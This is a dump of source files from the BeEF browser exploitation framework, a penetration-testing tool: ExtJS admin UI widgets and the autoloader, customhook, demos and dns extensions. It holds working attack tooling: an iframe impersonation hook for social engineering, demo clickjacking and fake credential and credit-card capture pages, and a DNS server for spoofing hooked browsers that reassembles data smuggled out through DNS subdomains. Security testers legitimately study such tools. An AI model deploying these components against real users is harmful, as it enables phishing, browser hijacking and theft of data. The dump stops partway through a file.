    * @return {Ext.ux.StatusBar} this */ clearStatus : function(o){ o = o || {}; if(o.threadId && o.threadId !== this.activeThreadId){ // this means the current call was made internally, but a newer // thread has set a message since this call was deferred. Since // we don't want to overwrite a newer message just ignore. return this; } var text = o.useDefaults ? this.defaultText : this.emptyText, iconCls = o.useDefaults ? (this.defaultIconCls ? this.defaultIconCls : '') : ''; if(o.anim){ // animate the statusEl Ext.Element this.statusEl.el.fadeOut({ remove: false, useDisplay: true, scope: this, callback: function(){ this.setStatus({ text: text, iconCls: iconCls }); this.statusEl.el.show(); } }); }else{ // hide/show the el to avoid jumpy text or icon this.statusEl.hide(); this.setStatus({ text: text, iconCls: iconCls }); this.statusEl.show(); } return this; }, /** * Convenience method for setting the status text directly. For more flexible options see {@link #setStatus}. * @param {String} text (optional) The text to set (defaults to '') * @return {Ext.ux.StatusBar} this */ setText : function(text){ this.activeThreadId++; this.text = text || ''; if(this.rendered){ this.statusEl.setText(this.text); } return this; }, /** * Returns the current status text. * @return {String} The status text */ getText : function(){ return this.text; }, /** * Convenience method for setting the status icon directly. For more flexible options see {@link #setStatus}. * See {@link #iconCls} for complete details about customizing the icon. * @param {String} iconCls (optional) The icon class to set (defaults to '', and any current icon class is removed) * @return {Ext.ux.StatusBar} this */ setIcon : function(cls){ this.activeThreadId++; cls = cls || ''; if(this.rendered){ if(this.currIconCls){ this.statusEl.removeClass(this.currIconCls); this.currIconCls = null; } if(cls.length > 0){ this.statusEl.addClass(cls); this.currIconCls = cls; } }else{ this.currIconCls = cls; } return this; }, /** * Convenience method for setting the status text and icon to special values that are pre-configured to indicate * a "busy" state, usually for loading or processing activities. * @param {Object/String} config (optional) A config object in the same format supported by {@link #setStatus}, or a * string to use as the status text (in which case all other options for setStatus will be defaulted). Use the * text and/or iconCls properties on the config to override the default {@link #busyText} * and {@link #busyIconCls} settings. If the config argument is not specified, {@link #busyText} and * {@link #busyIconCls} will be used in conjunction with all of the default options for {@link #setStatus}. * @return {Ext.ux.StatusBar} this */ showBusy : function(o){ if(typeof o == 'string'){ o = {text:o}; } o = Ext.applyIf(o || {}, { text: this.busyText, iconCls: this.busyIconCls }); return this.setStatus(o); }, //BEEF ADDED showError : function(o){ if(typeof o == 'string'){ o = {text:o}; } o = Ext.applyIf(o || {}, { text: this.busyText, iconCls: this.errorIconCls }); return this.setStatus(o); }, showValid : function(o){ if(typeof o == 'string'){ o = {text:o}; } o = Ext.applyIf(o || {}, { text: this.busyText, iconCls: this.validIconCls }); return this.setStatus(o); } }); Ext.reg('statusbar', Ext.ux.StatusBar); ================================================ FILE: extensions/admin_ui/media/javascript/ux/TabCloseMenu.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /*! * Ext JS Library 3.1.1 * Copyright(c) 2006-2010 Ext JS, LLC * licensing@extjs.com * http://www.extjs.com/license */ /** * @class Ext.ux.TabCloseMenu * @extends Object * Plugin (ptype = 'tabclosemenu') for adding a close context menu to tabs. * * @ptype tabclosemenu */ Ext.ux.TabCloseMenu = function(){ var tabs, menu, ctxItem; this.init = function(tp){ tabs = tp; tabs.on('contextmenu', onContextMenu); }; function onContextMenu(ts, item, e){ if(!menu){ // create context menu on first right click menu = new Ext.menu.Menu({ items: [{ id: tabs.id + '-close', text: 'Close Tab', handler : function(){ tabs.remove(ctxItem); } },{ id: tabs.id + '-close-others', text: 'Close Other Tabs', handler : function(){ tabs.items.each(function(item){ if(item.closable && item != ctxItem){ tabs.remove(item); } }); } }]}); } ctxItem = item; var items = menu.items; items.get(tabs.id + '-close').setDisabled(!item.closable); var disableOthers = true; tabs.items.each(function(){ if(this != item && this.closable){ disableOthers = false; return false; } }); items.get(tabs.id + '-close-others').setDisabled(disableOthers); e.stopEvent(); menu.showAt(e.getPoint()); } }; Ext.preg('tabclosemenu', Ext.ux.TabCloseMenu); ================================================ FILE: extensions/autoloader/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: autoloader: enable: false name: 'Autoloader' ================================================ FILE: extensions/autoloader/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Autoloader end end end require 'extensions/autoloader/model' ================================================ FILE: extensions/autoloader/model.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models class Autoloading < BeEF::Core::Model belongs_to :command end end end end ================================================ FILE: extensions/customhook/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Customhook module RegisterHttpHandlers BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start') def self.mount_handler(beef_server) configuration = BeEF::Core::Configuration.instance configuration.get('beef.extension.customhook.hooks').each do |h| beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new) end end def self.pre_http_start(_beef_server) configuration = BeEF::Core::Configuration.instance configuration.get('beef.extension.customhook.hooks').each do |h| print_success 'Successfully mounted a custom hook point' print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n" end end end end end end ================================================ FILE: extensions/customhook/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: customhook: enable: false name: 'Custom Hook Points with iFrame Impersonation' hooks: changeme: path: "/changeme" target: "http://example.com" title: "Change Me!" beef: path: "/beef" target: "http://beefproject.com" title: "BeEF - The Browser Exploitation Framework Project" yougotchipmunked: path: "/yougotchipmunked" target: "http://www.chipmunks.com" title: "Alvin and the Chipmunks.." ================================================ FILE: extensions/customhook/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Customhook extend BeEF::API::Extension @short_name = 'customhook' @full_name = 'Custom Hook Point with iFrame Impersonation' @description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks' end end end require 'extensions/customhook/api' require 'extensions/customhook/handler' ================================================ FILE: extensions/customhook/handler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Customhook class Handler def call(env) @body = '' @request = Rack::Request.new(env) @params = @request.query_string @response = Rack::Response.new(body = [], 200, header = {}) config = BeEF::Core::Configuration.instance eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html")) config.get('beef.extension.customhook.hooks').each do |h| path = config.get("beef.extension.customhook.hooks.#{h.first}.path") next unless path == (env['REQUEST_URI']).to_s print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'" @body << eruby.evaluate({ 'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"), 'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title") }) break end @response = Rack::Response.new( body = [@body], status = 200, header = { 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0', 'Content-Type' => 'text/html', 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'POST, GET' } ) end # @note Object representing the HTTP request @request # @note Object representing the HTTP response @response end end end end ================================================ FILE: extensions/customhook/html/index.html ================================================ <% @configuration = BeEF::Core::Configuration.instance hook_file = @configuration.get("beef.http.hook_file") %> <%= @customhook_title %> ================================================ FILE: extensions/demos/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Demos module RegisterHttpHandlers BeEF::API::Registrar.instance.register(BeEF::Extension::Demos::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler') # # Mounts the handlers for the demos pages # # @param beef_server [BeEF::Core::Server] HTTP server instance # def self.mount_handler(beef_server) beef_server.mount('/demos', BeEF::Extension::Demos::Handler.new) end end end end end ================================================ FILE: extensions/demos/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: demos: enable: false name: 'Demos' ================================================ FILE: extensions/demos/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Demos extend BeEF::API::Extension @short_name = 'demos' @full_name = 'demonstrations' @description = 'Demonstration pages for BeEF' end end end require 'extensions/demos/api' require 'extensions/demos/handler' ================================================ FILE: extensions/demos/handler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Demos class Handler < BeEF::Core::Router::Router set :public_folder, File.expand_path(File.dirname(__FILE__)) + '/html/' end end end end ================================================ FILE: extensions/demos/html/basic.html ================================================ BeEF Basic Demo

    You should be hooked into BeEF.

    Have fun while your browser is working against you.

    These links are for demonstrating the "Get Page HREFs" command module:

    Have a go at the event logger.

    You can also load up a more advanced demo page.

    ================================================ FILE: extensions/demos/html/butcher/butch.css ================================================ /* * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ html { height: 100%; } body { background: #fff; padding: 0; margin: 0; height: 100%; } #content { position: relative; width: 800px; height: 100%; margin-left: auto; margin-right: auto; /*border: solid 1px black;*/ background-image: url("right.jpg"); background-repeat: no-repeat; background-position: right top; } #logo { position: absolute; top: 0; left: 0; width: 368px; } #stuff { position: relative; /*border: solid 1px red;*/ top: 200px; width: 420px; } .bigger { font-family: "Lucida Sans", arial; font-size: 18px; } .normal { padding-top: 20px; font-family: "Lucida Sans", arial; font-size: 14px; } .smaller { padding-top: 20px; font-family: "Lucida Sans", arial; font-size: 8px; } #friends { display: none; padding-top: 20px; } #hamper { display: none; padding-top: 20px; } a:link {color:#000;} /* unvisited link */ a:visited {color:#000} /* visited link */ a:hover {color:#000;} /* mouse over link */ a:active {color:#000;} /* selected link */ ================================================ FILE: extensions/demos/html/butcher/index.html ================================================ The Butcher
    Welcome to The Butcher, your source of delicious meats. Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper!
     

    Delicious delicious hamper, straight to your door!

    Name:
    Phone:
    Address:
    Credit Card:

    Sign up to our mailing list for delicious meats delivered straight to your inbox!

    E-mail:
    Password:
    Thanks to http://www.flickr.com/photos/bulle_de/ and http://dineSarasota.com for the BeEF images
    ================================================ FILE: extensions/demos/html/clickjacking/clickjack_attack.html ================================================ You have been p0wned

    Name That Quote

    You are a sad strange little man, and you have my pity.
    Who said it? Buzz Lightyear, Toy Story
    Another Quote

    Click-thru

    You must click here to get to the page.

    Okay No Thanks
    ================================================ FILE: extensions/demos/html/clickjacking/clickjack_victim.html ================================================

     

    moooooooo

     

    moooooooo ================================================ FILE: extensions/demos/html/plain.html ================================================ ================================================ FILE: extensions/demos/html/report.html ================================================ Loading


    ================================================ FILE: extensions/demos/html/secret_page.html ================================================ Secret Page

    Secret page

    This page is not hooked by BeEF. However you should still be capable of accessing it using:

    • Rider extension;
    • Tunneling Proxy extension; and
    • 'Test Network Request' debug module
      

    ================================================ FILE: extensions/dns/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Dns module API module NameserverHandler BeEF::API::Registrar.instance.register( BeEF::Extension::Dns::API::NameserverHandler, BeEF::API::Server, 'pre_http_start' ) BeEF::API::Registrar.instance.register( BeEF::Extension::Dns::API::NameserverHandler, BeEF::API::Server, 'mount_handler' ) # Starts the DNS nameserver at BeEF startup. # # @param http_hook_server [BeEF::Core::Server] HTTP server instance def self.pre_http_start(_http_hook_server) servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration # Start the DNS server dns = BeEF::Extension::Dns::Server.instance dns.run(upstream: servers, listen: interfaces) end def self.print_dns_info servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration # Print the DNS server information print_info "DNS Server: #{address}:#{port} (#{protocol})" print_more upstream_servers unless upstream_servers.empty? end def self.get_dns_config dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns') protocol = begin dns_config['protocol'].to_sym rescue StandardError :udp end address = dns_config['address'] || '127.0.0.1' port = dns_config['port'] || 5300 interfaces = [[protocol, address, port]] servers = [] upstream_servers = '' unless dns_config['upstream'].nil? || dns_config['upstream'].empty? dns_config['upstream'].each do |server| up_protocol = server[0].downcase up_address = server[1] up_port = server[2] next if [up_protocol, up_address, up_port].include?(nil) servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/ upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n" end end return servers, interfaces, address, port, protocol, upstream_servers end # Mounts the handler for processing DNS RESTful API requests. # # @param beef_server [BeEF::Core::Server] HTTP server instance def self.mount_handler(beef_server) beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new) end end end end end end ================================================ FILE: extensions/dns/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: dns: enable: false name: 'DNS Server' authors: ['soh_cah_toa'] protocol: 'udp' address: '127.0.0.1' port: 5300 upstream: [ ['udp', '8.8.8.8', 53], ['tcp', '8.8.8.8', 53] ] ================================================ FILE: extensions/dns/dns.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Dns # Provides the core DNS nameserver functionality. The nameserver handles incoming requests # using a rule-based system. A list of user-defined rules is used to match against incoming # DNS requests. These rules generate a response that is either a resource record or a # failure code. class Server < Async::DNS::Server include Singleton def initialize super() logger.level = Logger::ERROR @lock = Mutex.new @database = BeEF::Core::Models::Dns::Rule @data_chunks = {} @server_started = false end # Adds a new DNS rule. If the rule already exists, its current ID is returned. # # @example Adds an A record for browserhacker.com with the IP address 1.2.3.4 # # dns = BeEF::Extension::Dns::Server.instance # # id = dns.add_rule( # :pattern => 'browserhacker.com', # :resource => Resolv::DNS::Resource::IN::A, # :response => '1.2.3.4' # ) # # @param rule [Hash] hash representation of rule # @option rule [String, Regexp] :pattern match criteria # @option rule [Resolv::DNS::Resource::IN] :resource resource record type # @option rule [String, Array] :response server response # # @return [String] unique 8-digit hex identifier def add_rule(rule = {}) @lock.synchronize do # Temporarily disable warnings regarding IGNORECASE flag verbose = $VERBOSE $VERBOSE = nil pattern = Regexp.new(rule[:pattern], Regexp::IGNORECASE) $VERBOSE = verbose @database.find_or_create_by( resource: rule[:resource].to_s, pattern: pattern.source, response: rule[:response] ).id end end # Retrieves a specific rule given its identifier. # # @param id [String] unique identifier for rule # # @return [Hash] hash representation of rule (empty hash if rule wasn't found) def get_rule(id) @lock.synchronize do rule = @database.find(id) return to_hash(rule) rescue ActiveRecord::RecordNotFound return nil end end # Removes the given DNS rule. # # @param id [String] rule identifier # # @return [Boolean] true if rule was removed, otherwise false def remove_rule!(id) @lock.synchronize do begin rule = @database.find(id) return true if !rule.nil? && rule.destroy rescue ActiveRecord::RecordNotFound return nil end return false end end # Returns an AoH representing the entire current DNS ruleset. # # Each element is a hash with the following keys: # # * :id # * :pattern # * :resource # * :response # # @return [Array] DNS ruleset (empty array if no rules are currently defined) def get_ruleset @lock.synchronize { @database.all { |rule| to_hash(rule) } } end # Removes the entire DNS ruleset. # # @return [Boolean] true if ruleset was destroyed, otherwise false def remove_ruleset! @lock.synchronize do return true if @database.destroy_all end end # Starts the DNS server. # # @param options [Hash] server configuration options # @option options [Array] :upstream upstream DNS servers (if ommitted, unresolvable # requests return NXDOMAIN) # @option options [Array] :listen local interfaces to listen on def run(options = {}) @lock.synchronize do Thread.new do EventMachine.next_tick do next if @server_started # Check if the server was already started upstream = options[:upstream] || nil listen = options[:listen] || nil # listen is called enpoints in Async::DNS @endpoints = listen if upstream resolver = Async::DNS::Resolver.new(upstream) @otherwise = proc { |t| t.passthrough!(resolver) } end begin # super(:listen => listen) Thread.new { super() } @server_started = true # Set the server started flag rescue RuntimeError => e if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use print_error "[DNS] Another process is already listening on port #{options[:listen]}" print_error 'Exiting...' exit 127 else raise end end end end end end def stop return unless @server_started # Check if the server was started # Logic to stop the Async::DNS server puts EventMachine.stop if EventMachine.reactor_running? @server_started = false # Reset the server started flag end # Entry point for processing incoming DNS requests. Attempts to find a matching rule and # sends back its associated response. # # @param name [String] name of the resource record being looked up # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.) # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer def process(name, resource, transaction) @lock.synchronize do resource = resource.to_s print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" # no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string. # this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server. if format_resource(resource) == 'A' && name.match(/^0xb3/) reconstruct(name.split('0xb3').last) catch(:done) do transaction.fail!(:NXDomain) end return end catch(:done) do # Find rules matching the requested resource class resources = @database.where(resource: resource) throw :done if resources.length == 0 # Narrow down search by finding a matching pattern resources.each do |rule| pattern = Regexp.new(rule.pattern) next unless name =~ pattern print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})" proc { |_t| eval(rule.callback) }.call(transaction) throw :done end if @otherwise print_debug 'No match found, querying upstream servers' @otherwise.call(transaction) else print_debug 'No match found, sending NXDOMAIN response' transaction.fail!(:NXDomain) end end end end private # Collects and reconstructs data extruded by the client and found in subdomain, with structure like: # 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com # [...] # 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com def reconstruct(data) split_data = data.split('.') pack_id = split_data[0] seq_num = split_data[1] seq_tot = split_data[2] data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC) unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/) print_debug "[DNS] Received invalid chunk:\n #{data}" return end print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}" if @data_chunks[pack_id].nil? # no previous chunks received, create new Array to store chunks @data_chunks[pack_id] = Array.new(seq_tot.to_i) @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk else # previous chunks received, update Array @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE' # means that no position in the array is false/nil, so we received all the packet chunks packet_data = @data_chunks[pack_id].join('') decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*') print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}" # we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it @data_chunks[pack_id] = 'DONE' end end end # Helper method that converts a DNS rule to a hash. # # @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted # # @return [Hash] hash representation of DNS rule def to_hash(rule) hash = {} hash[:id] = rule.id hash[:pattern] = rule.pattern hash[:resource] = format_resource(rule.resource) hash[:response] = rule.response hash end # Verifies that the given ID is valid. # # @param id [String] identifier to validate # # @return [Boolean] true if ID is valid, otherwise false def is_valid_id?(id) BeEF::Filters.hexs_only?(id) && !BeEF::Filters.has_null?(id) && !BeEF::Filters.has_non_printable_char?(id) && id.length == 8 end # Helper method that formats the given resource class in a human-readable format. # # @param resource [Resolv::DNS::Resource::IN] resource class # # @return [String] resource name stripped of any module/class names def format_resource(resource) /::(\w+)$/.match(resource)[1] end end end end end ================================================ FILE: extensions/dns/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'async/dns' module BeEF module Extension module Dns extend BeEF::API::Extension @short_name = 'dns' @full_name = 'DNS Server' @description = 'A configurable DNS nameserver for performing DNS spoofing, ' + 'hijacking, and other related attacks against hooked browsers.' end end end require 'extensions/dns/api' require 'extensions/dns/dns' require 'extensions/dns/logger' require 'extensions/dns/model' require 'extensions/dns/rest/dns' ================================================ FILE: extensions/dns/logger.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Disables the logger used by RubyDNS due to its excessive verbosity. class Logger def debug(msg = ''); end def info(msg = ''); end def error(msg = ''); end def warn(msg = ''); end end ================================================ FILE: extensions/dns/model.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models module Dns # Represents an individual DNS rule. class Rule < BeEF::Core::Model # Hooks the model's "save" event. Validates pattern/response and generates a rule identifier. before_save :check_rule self.table_name = 'dns_rules' serialize :response, type: Array private def check_rule validate_pattern(pattern) self.callback = format_callback(resource.constantize, response) rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e print_error e.message throw :halt # self.id = BeEF::Core::Crypto.dns_rule_id end # Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters). def validate_pattern(pattern) raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) && !BeEF::Filters.has_null?(pattern) && !BeEF::Filters.has_non_printable_char?(pattern) end # Strict validator which ensures that only an appropriate response is given. # # @param resource [Resolv::DNS::Resource::IN] resource record type # @param response [String, Symbol, Array] response to include in callback # # @return [String] string representation of callback that can safely be eval'd def format_callback(resource, response) sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i if resource == Resolv::DNS::Resource::IN::A if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4) format "t.respond!('%s')", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response.to_s =~ sym_regex format 't.fail!(:%s)', response.to_sym elsif response.is_a?(Array) str1 = "t.respond!('%s');" str2 = '' response.each do |r| raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4) str2 << format(str1, r) end str2 else raise InvalidDnsResponseError, 'A' end elsif resource == Resolv::DNS::Resource::IN::AAAA if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6) format "t.respond!('%s')", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym elsif response.is_a?(Array) str1 = "t.respond!('%s');" str2 = '' response.each do |r| raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6) str2 << format(str1, r) end str2 else raise InvalidDnsResponseError, 'AAAA' end elsif resource == Resolv::DNS::Resource::IN::CNAME if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) format "t.respond!(Resolv::DNS::Name.create('%s'))", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'CNAME' end elsif resource == Resolv::DNS::Resource::IN::MX if response[0].is_a?(Integer) && BeEF::Filters.is_valid_domain?(response[1]) data = { preference: response[0], exchange: response[1] } format "t.respond!(%d, Resolv::DNS::Name.create('%s'))", data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'MX' end elsif resource == Resolv::DNS::Resource::IN::NS if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) format "t.respond!(Resolv::DNS::Name.create('%s'))", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym elsif response.is_a?(Array) str1 = "t.respond!(Resolv::DNS::Name.create('%s'))" str2 = '' response.each do |r| raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r) str2 << format(str1, r) end str2 else raise InvalidDnsResponseError, 'NS' end elsif resource == Resolv::DNS::Resource::IN::PTR if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) format "t.respond!(Resolv::DNS::Name.create('%s'))", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'PTR' end elsif resource == Resolv::DNS::Resource::IN::SOA if response.is_a?(Array) unless BeEF::Filters.is_valid_domain?(response[0]) && BeEF::Filters.is_valid_domain?(response[1]) && response[2].is_a?(Integer) && response[3].is_a?(Integer) && response[4].is_a?(Integer) && response[5].is_a?(Integer) && response[6].is_a?(Integer) raise InvalidDnsResponseError, 'SOA' end data = { mname: response[0], rname: response[1], serial: response[2], refresh: response[3], retry: response[4], expire: response[5], minimum: response[6] } format "t.respond!(Resolv::DNS::Name.create('%s'), " + "Resolv::DNS::Name.create('%s'), " + '%d, ' + '%d, ' + '%d, ' + '%d, ' + '%d)', data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'SOA' end elsif resource == Resolv::DNS::Resource::IN::WKS if response.is_a?(Array) if !BeEF::Filters.is_valid_ip?(resource[0]) && resource[1].is_a?(Integer) && resource[2].is_a?(Integer) && !resource.is_a?(String) raise InvalidDnsResponseError, 'WKS' end data = { address: response[0], protocol: response[1], bitmap: response[2] } format "t.respond!('%
    s', %d, %d)", data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'WKS' end else raise UnknownDnsResourceError end end # Raised when an invalid pattern is given. class InvalidDnsPatternError < StandardError DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when a response is not valid for the given DNS resource record. class InvalidDnsResponseError < StandardError def initialize(message = nil) str = 'Failed to add DNS rule with invalid response for %s resource record', message message = format str, message unless message.nil? super(message) end end # Raised when an unknown DNS resource record is given. class UnknownDnsResourceError < StandardError DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end end end end end end ================================================ FILE: extensions/dns/rest/dns.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Dns # This class handles the routing of RESTful API requests that query BeEF's DNS server class DnsRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do @dns ||= BeEF::Extension::Dns::Server.instance config = BeEF::Core::Configuration.instance # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Returns the entire current DNS ruleset get '/ruleset' do ruleset = @dns.get_ruleset count = ruleset.length result = {} result[:count] = count result[:ruleset] = ruleset result.to_json rescue StandardError => e print_error "Internal error while retrieving DNS ruleset (#{e.message})" halt 500 end # Returns a specific rule given its id get '/rule/:id' do id = params[:id] rule = @dns.get_rule(id) raise InvalidParamError, 'id' if rule.nil? halt 404 if rule.empty? rule.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})" halt 500 end # Adds a new DNS rule post '/rule' do body = JSON.parse(request.body.read) pattern = body['pattern'] resource = body['resource'] response = body['response'] # Validate required JSON keys raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('') raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/ raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array) raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty? # Validate resource case resource when 'A' dns_resource = Resolv::DNS::Resource::IN::A when 'AAAA' dns_resource = Resolv::DNS::Resource::IN::AAAA when 'CNAME' dns_resource = Resolv::DNS::Resource::IN::CNAME when 'HINFO' 